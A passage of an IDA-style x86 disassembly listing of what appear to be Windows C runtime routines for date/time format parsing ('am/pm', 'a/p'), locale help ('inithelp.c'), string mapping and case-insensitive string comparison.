; ---------------------------------------------------------------------------


loc_42F545:				; CODE XREF: sub_42F440+B0j
					; sub_42F440+EEj
		mov	[ebp+var_8], 61h
		jmp	short loc_42F54F
; ---------------------------------------------------------------------------


loc_42F54B:				; CODE XREF: sub_42F440+B0j
					; sub_42F440+EEj
		mov	[ebp+var_8], 41h


loc_42F54F:				; CODE XREF: sub_42F440+E9j
					; sub_42F440+103j ...
		jmp	loc_42F810
; ---------------------------------------------------------------------------


loc_42F554:				; CODE XREF: sub_42F440+91j
					; DATA XREF: ___:0042F8E4o
		mov	edx, [ebp+var_C]
		mov	[ebp+var_20], edx
		cmp	[ebp+var_20], 2
		jz	short loc_42F568
		cmp	[ebp+var_20], 4
		jz	short loc_42F56E
		jmp	short loc_42F572
; ---------------------------------------------------------------------------


loc_42F568:				; CODE XREF: sub_42F440+11Ej
		mov	[ebp+var_8], 79h
		jmp	short loc_42F572
; ---------------------------------------------------------------------------


loc_42F56E:				; CODE XREF: sub_42F440+124j
		mov	[ebp+var_8], 59h


loc_42F572:				; CODE XREF: sub_42F440+126j
					; sub_42F440+12Cj
		jmp	loc_42F810
; ---------------------------------------------------------------------------


loc_42F577:				; CODE XREF: sub_42F440+91j
					; DATA XREF: ___:0042F8D4o
		mov	eax, [ebp+var_C]
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 1
		jz	short loc_42F58B
		cmp	[ebp+var_24], 2
		jz	short loc_42F595
		jmp	short loc_42F599
; ---------------------------------------------------------------------------


loc_42F58B:				; CODE XREF: sub_42F440+141j
		mov	dword_4DB454, 1


loc_42F595:				; CODE XREF: sub_42F440+147j
		mov	[ebp+var_8], 49h


loc_42F599:				; CODE XREF: sub_42F440+149j
		jmp	loc_42F810
; ---------------------------------------------------------------------------


loc_42F59E:				; CODE XREF: sub_42F440+91j
					; DATA XREF: ___:0042F8C8o
		mov	ecx, [ebp+var_C]
		mov	[ebp+var_28], ecx
		cmp	[ebp+var_28], 1
		jz	short loc_42F5B2
		cmp	[ebp+var_28], 2
		jz	short loc_42F5BC
		jmp	short loc_42F5C0
; ---------------------------------------------------------------------------


loc_42F5B2:				; CODE XREF: sub_42F440+168j
		mov	dword_4DB454, 1


loc_42F5BC:				; CODE XREF: sub_42F440+16Ej
		mov	[ebp+var_8], 48h


loc_42F5C0:				; CODE XREF: sub_42F440+170j
		jmp	loc_42F810
; ---------------------------------------------------------------------------


loc_42F5C5:				; CODE XREF: sub_42F440+91j
					; DATA XREF: ___:0042F8D8o
		mov	edx, [ebp+var_C]
		mov	[ebp+var_2C], edx
		cmp	[ebp+var_2C], 1
		jz	short loc_42F5D9
		cmp	[ebp+var_2C], 2
		jz	short loc_42F5E3
		jmp	short loc_42F5E7
; ---------------------------------------------------------------------------


loc_42F5D9:				; CODE XREF: sub_42F440+18Fj
		mov	dword_4DB454, 1


loc_42F5E3:				; CODE XREF: sub_42F440+195j
		mov	[ebp+var_8], 4Dh


loc_42F5E7:				; CODE XREF: sub_42F440+197j
		jmp	loc_42F810
; ---------------------------------------------------------------------------


loc_42F5EC:				; CODE XREF: sub_42F440+91j
					; DATA XREF: ___:0042F8DCo
		mov	eax, [ebp+var_C]
		mov	[ebp+var_30], eax
		cmp	[ebp+var_30], 1
		jz	short loc_42F600
		cmp	[ebp+var_30], 2
		jz	short loc_42F60A
		jmp	short loc_42F60E
; ---------------------------------------------------------------------------


loc_42F600:				; CODE XREF: sub_42F440+1B6j
		mov	dword_4DB454, 1


loc_42F60A:				; CODE XREF: sub_42F440+1BCj
		mov	[ebp+var_8], 53h


loc_42F60E:				; CODE XREF: sub_42F440+1BEj
		jmp	loc_42F810
; ---------------------------------------------------------------------------


loc_42F613:				; CODE XREF: sub_42F440+91j
					; DATA XREF: ___:0042F8C4o
		push	offset aAmPm	; "am/pm"
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42FE70
		add	esp, 8
		test	eax, eax
		jnz	short loc_42F633
		mov	edx, [ebp+arg_0]
		add	edx, 5
		mov	[ebp+var_4], edx
		jmp	short loc_42F651
; ---------------------------------------------------------------------------


loc_42F633:				; CODE XREF: sub_42F440+1E6j
		push	offset aAP	; "a/p"
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42FE70
		add	esp, 8
		test	eax, eax
		jnz	short loc_42F651
		mov	ecx, [ebp+arg_0]
		add	ecx, 3
		mov	[ebp+var_4], ecx


loc_42F651:				; CODE XREF: sub_42F440+1F1j
					; sub_42F440+206j
		mov	[ebp+var_8], 70h
		jmp	loc_42F810
; ---------------------------------------------------------------------------


loc_42F65A:				; CODE XREF: sub_42F440+91j
					; DATA XREF: ___:0042F8E0o
		mov	edx, [ebp+arg_4]
		cmp	dword ptr [edx+8], 0Bh
		jg	short loc_42F671
		mov	eax, [ebp+arg_10]
		mov	ecx, [eax+98h]
		mov	[ebp+var_10], ecx
		jmp	short loc_42F67D
; ---------------------------------------------------------------------------


loc_42F671:				; CODE XREF: sub_42F440+221j
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+9Ch]
		mov	[ebp+var_10], eax


loc_42F67D:				; CODE XREF: sub_42F440+22Fj
					; sub_42F440+2DFj
		cmp	[ebp+var_C], 0
		jle	loc_42F724
		mov	ecx, [ebp+arg_C]
		cmp	dword ptr [ecx], 0
		jbe	loc_42F724
		mov	edx, [ebp+var_10]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, off_443C7C
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 8000h
		test	edx, edx
		jz	short loc_42F6E7
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax], 1
		jbe	short loc_42F6E7
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		mov	eax, [ebp+var_10]
		mov	cl, [eax]
		mov	[edx], cl
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		mov	edx, [ebp+var_10]
		add	edx, 1
		mov	[ebp+var_10], edx
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax]
		sub	ecx, 1
		mov	edx, [ebp+arg_C]
		mov	[edx], ecx


loc_42F6E7:				; CODE XREF: sub_42F440+26Ej
					; sub_42F440+276j
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax]
		mov	edx, [ebp+var_10]
		mov	al, [edx]
		mov	[ecx], al
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_8]
		mov	[eax], edx
		mov	ecx, [ebp+var_10]
		add	ecx, 1
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+arg_C]
		mov	eax, [edx]
		sub	eax, 1
		mov	ecx, [ebp+arg_C]
		mov	[ecx], eax
		mov	edx, [ebp+var_C]
		sub	edx, 1
		mov	[ebp+var_C], edx
		jmp	loc_42F67D
; ---------------------------------------------------------------------------


loc_42F724:				; CODE XREF: sub_42F440+241j
					; sub_42F440+24Dj
		mov	eax, [ebp+var_4]
		mov	[ebp+arg_0], eax
		jmp	loc_42F446
; ---------------------------------------------------------------------------


loc_42F72F:				; CODE XREF: sub_42F440+91j
					; DATA XREF: ___:off_42F8C0o
		mov	ecx, [ebp+var_C]
		and	ecx, 1
		test	ecx, ecx
		jz	loc_42F802
		mov	edx, [ebp+arg_0]
		add	edx, [ebp+var_C]
		mov	[ebp+arg_0], edx


loc_42F746:				; CODE XREF: sub_42F440+3BBj
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	loc_42F800
		mov	edx, [ebp+arg_C]
		cmp	dword ptr [edx], 0
		jz	loc_42F800
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 27h
		jnz	short loc_42F779
		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	[ebp+arg_0], edx
		jmp	loc_42F800
; ---------------------------------------------------------------------------


loc_42F779:				; CODE XREF: sub_42F440+329j
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	edx, off_443C7C
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 8000h
		test	eax, eax
		jz	short loc_42F7CC
		mov	ecx, [ebp+arg_C]
		cmp	dword ptr [ecx], 1
		jbe	short loc_42F7CC
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		mov	ecx, [ebp+arg_0]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax]
		add	ecx, 1
		mov	edx, [ebp+arg_8]
		mov	[edx], ecx
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx]
		sub	edx, 1
		mov	eax, [ebp+arg_C]
		mov	[eax], edx


loc_42F7CC:				; CODE XREF: sub_42F440+353j
					; sub_42F440+35Bj
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		mov	eax, [ebp+arg_0]
		mov	cl, [eax]
		mov	[edx], cl
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	[ebp+arg_0], edx
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax]
		sub	ecx, 1
		mov	edx, [ebp+arg_C]
		mov	[edx], ecx
		jmp	loc_42F746
; ---------------------------------------------------------------------------


loc_42F800:				; CODE XREF: sub_42F440+30Ej
					; sub_42F440+31Aj ...
		jmp	short loc_42F80B
; ---------------------------------------------------------------------------


loc_42F802:				; CODE XREF: sub_42F440+2F7j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_C]
		mov	[ebp+arg_0], eax


loc_42F80B:				; CODE XREF: sub_42F440:loc_42F800j
		jmp	loc_42F446
; ---------------------------------------------------------------------------


loc_42F810:				; CODE XREF: sub_42F440+80j
					; sub_42F440+91j ...
		movsx	ecx, [ebp+var_8]
		test	ecx, ecx
		jz	short loc_42F83C
		mov	edx, [ebp+arg_10]
		push	edx
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	al, [ebp+var_8]
		push	eax
		call	sub_42EC70
		add	esp, 14h
		mov	ecx, [ebp+var_4]
		mov	[ebp+arg_0], ecx
		jmp	short loc_42F8B7
; ---------------------------------------------------------------------------


loc_42F83C:				; CODE XREF: sub_42F440+3D6j
		mov	edx, [ebp+arg_0]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, off_443C7C
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 8000h
		test	edx, edx
		jz	short loc_42F888
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax]
		mov	edx, [ebp+arg_0]
		mov	al, [edx]
		mov	[ecx], al
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_8]
		mov	[eax], edx
		mov	ecx, [ebp+arg_0]
		add	ecx, 1
		mov	[ebp+arg_0], ecx
		mov	edx, [ebp+arg_C]
		mov	eax, [edx]
		sub	eax, 1
		mov	ecx, [ebp+arg_C]
		mov	[ecx], eax


loc_42F888:				; CODE XREF: sub_42F440+417j
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		mov	ecx, [ebp+arg_0]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax]
		add	ecx, 1
		mov	edx, [ebp+arg_8]
		mov	[edx], ecx
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx]
		sub	edx, 1
		mov	eax, [ebp+arg_C]
		mov	[eax], edx


loc_42F8B7:				; CODE XREF: sub_42F440+3FAj
		jmp	loc_42F446
; ---------------------------------------------------------------------------


loc_42F8BC:				; CODE XREF: sub_42F440+Ej
					; sub_42F440+1Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_42F440	endp

; ---------------------------------------------------------------------------
off_42F8C0	dd offset loc_42F72F	; DATA XREF: sub_42F440+91r
		dd offset loc_42F613
		dd offset loc_42F59E
		dd offset loc_42F4D8
		dd offset loc_42F516
		dd offset loc_42F577
		dd offset loc_42F5C5
		dd offset loc_42F5EC
		dd offset loc_42F65A
		dd offset loc_42F554
		dd offset loc_42F810
byte_42F8EC	db 0			; DATA XREF: sub_42F440+8Br
; ---------------------------------------------------------------------------
		or	cl, [edx]
		or	cl, [edx]
		or	cl, [edx]
		or	cl, [edx]
		or	cl, [edx]
		or	cl, [edx]
		or	cl, [edx]
		or	cl, [edx]
		or	cl, [edx]
		or	cl, [edx]
		or	cl, [edx]
		or	cl, [edx]
		or	al, [ecx]
		or	cl, [edx]
		or	cl, [edx]
		or	cl, [edx]
		add	cl, [edx]
		or	cl, [edx]
		or	al, [ebx]
		or	cl, [edx]
		or	cl, [edx]
		or	cl, [edx]
		or	cl, [edx]
		or	cl, [edx]
		or	cl, [edx]
		or	cl, [edx]
		or	cl, [edx]
		or	cl, [edx]
		or	al, [ecx]
		or	cl, [edx]
		add	al, 0Ah
		or	cl, [edx]
		add	eax, 0A0A0A0Ah
		push	es
		or	cl, [edx]
		or	cl, [edx]
		or	al, [edi]
		or	[edx], cl
		or	cl, [edx]
		or	cl, [ecx]


loc_42F93F:				; DATA XREF: sub_42F440+B0r
		div	esp
		inc	edx
		add	[ecx], al
		cmc
		inc	edx
		add	[edi], al
		cmc
		inc	edx


loc_42F94A:				; DATA XREF: sub_42F440+EEr
		add	ds:350042F5h, cl
		cmc
		inc	edx
		add	[edi], bh
		cmc
		inc	edx
		add	[ebp-0Bh], al
		inc	edx
		add	[ebx-0Bh], cl
		inc	edx
		add	ah, cl

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42F960	proc near		; CODE XREF: sub_42A9B0+41p
					; sub_42A9B0+60p ...

var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= byte ptr -8Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0A8h
		cmp	[ebp+arg_0], 1
		jnz	loc_42FAC9
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_90], eax
		lea	ecx, [ebp+var_8C]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_4], 0
		mov	[ebp+var_94], 80h
		push	0
		mov	edx, [ebp+var_94]
		push	edx
		mov	eax, [ebp+var_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		call	sub_430950
		add	esp, 14h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	loc_42FA4F
		nop
		call	near ptr 26908EFh
		cmp	eax, 7Ah
		jz	short loc_42F9D0
		jmp	loc_42FAAD
; ---------------------------------------------------------------------------


loc_42F9D0:				; CODE XREF: sub_42F960+69j
		push	0
		push	0
		push	0
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		call	sub_430950
		add	esp, 14h
		mov	[ebp+var_94], eax
		cmp	[ebp+var_94], 0
		jnz	short loc_42F9FA
		jmp	loc_42FAAD
; ---------------------------------------------------------------------------


loc_42F9FA:				; CODE XREF: sub_42F960+93j
		push	58h
		push	offset aInithelp_c ; "inithelp.c"
		push	2
		mov	edx, [ebp+var_94]
		push	edx
		call	sub_414DD0
		add	esp, 10h
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_42FA20
		jmp	loc_42FAAD
; ---------------------------------------------------------------------------


loc_42FA20:				; CODE XREF: sub_42F960+B9j
		mov	[ebp+var_4], 1
		push	0
		mov	eax, [ebp+var_94]
		push	eax
		mov	ecx, [ebp+var_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		call	sub_430950
		add	esp, 14h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_42FA4F
		jmp	short loc_42FAAD
; ---------------------------------------------------------------------------


loc_42FA4F:				; CODE XREF: sub_42F960+5Aj
					; sub_42F960+EBj
		push	63h
		push	offset aInithelp_c ; "inithelp.c"
		push	2
		mov	ecx, [ebp+var_8]
		push	ecx
		call	sub_414DD0
		add	esp, 10h
		mov	edx, [ebp+var_90]
		mov	[edx], eax
		mov	eax, [ebp+var_90]
		cmp	dword ptr [eax], 0
		jnz	short loc_42FA79
		jmp	short loc_42FAAD
; ---------------------------------------------------------------------------


loc_42FA79:				; CODE XREF: sub_42F960+115j
		mov	ecx, [ebp+var_8]
		push	ecx
		mov	edx, [ebp+var_C]
		push	edx
		mov	eax, [ebp+var_90]
		mov	ecx, [eax]
		push	ecx
		call	sub_417770
		add	esp, 0Ch
		cmp	[ebp+var_4], 0
		jz	short loc_42FAA6
		push	2
		mov	edx, [ebp+var_C]
		push	edx
		call	sub_415860
		add	esp, 8


loc_42FAA6:				; CODE XREF: sub_42F960+136j
		xor	eax, eax
		jmp	loc_42FBE6
; ---------------------------------------------------------------------------


loc_42FAAD:				; CODE XREF: sub_42F960+6Bj
					; sub_42F960+95j ...
		cmp	[ebp+var_4], 0
		jz	short loc_42FAC1
		push	2
		mov	eax, [ebp+var_C]
		push	eax
		call	sub_415860
		add	esp, 8


loc_42FAC1:				; CODE XREF: sub_42F960+151j
		or	eax, 0FFFFFFFFh
		jmp	loc_42FBE6
; ---------------------------------------------------------------------------


loc_42FAC9:				; CODE XREF: sub_42F960+Dj
		cmp	[ebp+arg_0], 0
		jnz	loc_42FBE3
		mov	[ebp+var_A4], 4
		mov	ecx, [ebp+arg_C]
		mov	[ebp+var_9C], ecx
		push	0
		mov	edx, [ebp+var_A4]
		push	edx
		push	offset byte_4DB430
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		call	sub_4307B0
		add	esp, 14h
		test	eax, eax
		jnz	short loc_42FB10
		or	eax, 0FFFFFFFFh
		jmp	loc_42FBE6
; ---------------------------------------------------------------------------


loc_42FB10:				; CODE XREF: sub_42F960+1A6j
		mov	edx, [ebp+var_9C]
		mov	byte ptr [edx],	0
		mov	[ebp+var_A0], 0
		jmp	short loc_42FB34
; ---------------------------------------------------------------------------


loc_42FB25:				; CODE XREF: sub_42F960:loc_42FBDAj
		mov	eax, [ebp+var_A0]
		add	eax, 1
		mov	[ebp+var_A0], eax


loc_42FB34:				; CODE XREF: sub_42F960+1C3j
		cmp	[ebp+var_A0], 4
		jge	loc_42FBDF
		cmp	dword_443B70, 1
		jle	short loc_42FB7B
		push	4
		mov	ecx, [ebp+var_A0]
		mov	dl, byte_4DB430[ecx*2]
		mov	byte ptr [ebp+var_98], dl
		mov	eax, [ebp+var_98]
		and	eax, 0FFh
		push	eax
		call	sub_41DA90
		add	esp, 8
		mov	[ebp+var_A8], eax
		jmp	short loc_42FBAE
; ---------------------------------------------------------------------------


loc_42FB7B:				; CODE XREF: sub_42F960+1E8j
		mov	ecx, [ebp+var_A0]
		mov	dl, byte_4DB430[ecx*2]
		mov	byte ptr [ebp+var_98], dl
		mov	eax, [ebp+var_98]
		and	eax, 0FFh
		mov	ecx, off_443C7C
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 4
		mov	[ebp+var_A8], edx


loc_42FBAE:				; CODE XREF: sub_42F960+219j
		cmp	[ebp+var_A8], 0
		jz	short loc_42FBD8
		mov	eax, [ebp+var_9C]
		movsx	ecx, byte ptr [eax]
		imul	ecx, 0Ah
		movsx	edx, byte ptr [ebp+var_98]
		lea	eax, [ecx+edx-30h]
		mov	ecx, [ebp+var_9C]
		mov	[ecx], al
		jmp	short loc_42FBDA
; ---------------------------------------------------------------------------


loc_42FBD8:				; CODE XREF: sub_42F960+255j
		jmp	short loc_42FBDF
; ---------------------------------------------------------------------------


loc_42FBDA:				; CODE XREF: sub_42F960+276j
		jmp	loc_42FB25
; ---------------------------------------------------------------------------


loc_42FBDF:				; CODE XREF: sub_42F960+1DBj
					; sub_42F960:loc_42FBD8j
		xor	eax, eax
		jmp	short loc_42FBE6
; ---------------------------------------------------------------------------


loc_42FBE3:				; CODE XREF: sub_42F960+16Dj
		or	eax, 0FFFFFFFFh


loc_42FBE6:				; CODE XREF: sub_42F960+148j
					; sub_42F960+164j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_42F960	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		mov	eax, off_444E98
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42FC00	proc near		; CODE XREF: sub_42B9E0+216p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_434E88
		push	offset sub_426A54
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFDCh
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		cmp	dword_4DB43C, 0
		jnz	short loc_42FC7E
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		push	offset dword_434260
		push	1
		nop
		call	near ptr 2650000h
		test	eax, eax
		jz	short loc_42FC52
		mov	dword_4DB43C, 1
		jmp	short loc_42FC7E
; ---------------------------------------------------------------------------


loc_42FC52:				; CODE XREF: sub_42FC00+44j
		lea	ecx, [ebp+var_1C]
		push	ecx
		push	1
		push	offset dword_43425C
		push	1
		push	0
		call	near ptr 2660000h
		nop
		test	eax, eax
		jz	short loc_42FC77
		mov	dword_4DB43C, 2
		jmp	short loc_42FC7E
; ---------------------------------------------------------------------------


loc_42FC77:				; CODE XREF: sub_42FC00+69j
		xor	eax, eax
		jmp	loc_42FE59
; ---------------------------------------------------------------------------


loc_42FC7E:				; CODE XREF: sub_42FC00+2Dj
					; sub_42FC00+50j ...
		cmp	dword_4DB43C, 1
		jnz	short loc_42FCA2
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		nop
		call	near ptr 2650000h
		jmp	loc_42FE59
; ---------------------------------------------------------------------------


loc_42FCA2:				; CODE XREF: sub_42FC00+85j
		cmp	dword_4DB43C, 2
		jnz	loc_42FE57
		cmp	[ebp+arg_10], 0
		jnz	short loc_42FCBD
		mov	eax, dword_4DB1C8
		mov	[ebp+arg_10], eax


loc_42FCBD:				; CODE XREF: sub_42FC00+B3j
		push	0
		push	0
		push	0
		push	0
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		push	220h
		mov	eax, [ebp+arg_10]
		push	eax
		nop
		call	near ptr 2710000h
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0
		jnz	short loc_42FCEC
		xor	eax, eax
		jmp	loc_42FE59
; ---------------------------------------------------------------------------


loc_42FCEC:				; CODE XREF: sub_42FC00+E3j
		mov	[ebp+var_4], 0
		mov	eax, [ebp+var_28]
		add	eax, 3
		and	al, 0FCh
		call	sub_417E20
		mov	[ebp+var_30], esp
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+var_30]
		mov	[ebp+var_2C], ecx
		mov	edx, [ebp+var_28]
		push	edx
		push	0
		mov	eax, [ebp+var_2C]
		push	eax
		call	sub_417070
		add	esp, 0Ch
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42FD3E
; ---------------------------------------------------------------------------
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	[ebp+var_2C], 0
		mov	[ebp+var_4], 0FFFFFFFFh


loc_42FD3E:				; CODE XREF: sub_42FC00+125j
		cmp	[ebp+var_2C], 0
		jnz	short loc_42FD4B
		xor	eax, eax
		jmp	loc_42FE59
; ---------------------------------------------------------------------------


loc_42FD4B:				; CODE XREF: sub_42FC00+142j
		push	0
		push	0
		mov	ecx, [ebp+var_28]
		push	ecx
		mov	edx, [ebp+var_2C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		push	220h
		mov	edx, [ebp+arg_10]
		push	edx
		nop
		call	near ptr 2710000h
		test	eax, eax
		jnz	short loc_42FD79
		xor	eax, eax
		jmp	loc_42FE59
; ---------------------------------------------------------------------------


loc_42FD79:				; CODE XREF: sub_42FC00+170j
		mov	[ebp+var_4], 1
		mov	eax, [ebp+var_28]
		lea	eax, [eax+eax+2]
		add	eax, 3
		and	al, 0FCh
		call	sub_417E20
		mov	[ebp+var_34], esp
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+var_34]
		mov	[ebp+var_24], ecx
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42FDBD
; ---------------------------------------------------------------------------
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	[ebp+var_24], 0
		mov	[ebp+var_4], 0FFFFFFFFh


loc_42FDBD:				; CODE XREF: sub_42FC00+1A4j
		cmp	[ebp+var_24], 0
		jnz	short loc_42FDCA
		xor	eax, eax
		jmp	loc_42FE59
; ---------------------------------------------------------------------------


loc_42FDCA:				; CODE XREF: sub_42FC00+1C1j
		cmp	[ebp+arg_14], 0
		jnz	short loc_42FDD9
		mov	edx, dword_4DB1B8
		mov	[ebp+arg_14], edx


loc_42FDD9:				; CODE XREF: sub_42FC00+1CEj
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_24]
		mov	word ptr [ecx+eax*2], 0FFFFh
		mov	edx, [ebp+arg_8]
		mov	eax, [ebp+var_24]
		mov	word ptr [eax+edx*2-2],	0FFFFh
		mov	ecx, [ebp+var_24]
		push	ecx
		mov	edx, [ebp+var_28]
		push	edx
		mov	eax, [ebp+var_2C]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+arg_14]
		push	edx
		call	near ptr 2660000h
		nop
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_24]
		xor	edx, edx
		mov	dx, [ecx+eax*2-2]
		cmp	edx, 0FFFFh
		jz	short loc_42FE38
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_24]
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		cmp	edx, 0FFFFh
		jz	short loc_42FE3C


loc_42FE38:				; CODE XREF: sub_42FC00+222j
		xor	eax, eax
		jmp	short loc_42FE59
; ---------------------------------------------------------------------------


loc_42FE3C:				; CODE XREF: sub_42FC00+236j
		mov	eax, [ebp+arg_8]
		shl	eax, 1
		push	eax
		mov	ecx, [ebp+var_24]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		call	sub_4197C0
		add	esp, 0Ch
		mov	eax, [ebp+var_20]
		jmp	short loc_42FE59
; ---------------------------------------------------------------------------


loc_42FE57:				; CODE XREF: sub_42FC00+A9j
		xor	eax, eax


loc_42FE59:				; CODE XREF: sub_42FC00+79j
					; sub_42FC00+9Dj ...
		lea	esp, [ebp-40h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_42FC00	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42FE70	proc near		; CODE XREF: sub_42C010+40p
					; sub_42C160+5Fp ...

var_10		= dword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		lea	eax, dword_4DB1B0
		cmp	dword ptr [eax+8], 0
		jnz	short loc_42FEC3
		mov	al, 0FFh
		mov	edi, edi


loc_42FE8C:				; CODE XREF: sub_42FE70+28j
					; sub_42FE70+48j
		or	al, al
		jz	short loc_42FEBE
		mov	al, [esi]
		inc	esi
		mov	ah, [edi]
		inc	edi
		cmp	ah, al
		jz	short loc_42FE8C
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		xchg	ah, al
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		cmp	al, ah
		jz	short loc_42FE8C
		sbb	al, al
		sbb	al, 0FFh


loc_42FEBE:				; CODE XREF: sub_42FE70+1Ej
		movsx	eax, al
		jmp	short loc_42FF3B
; ---------------------------------------------------------------------------


loc_42FEC3:				; CODE XREF: sub_42FE70+16j
		lock inc dword_4DB45C
		cmp	dword_4DB458, 0
		jg	short loc_42FED7
		push	0
		jmp	short loc_42FEEC
; ---------------------------------------------------------------------------


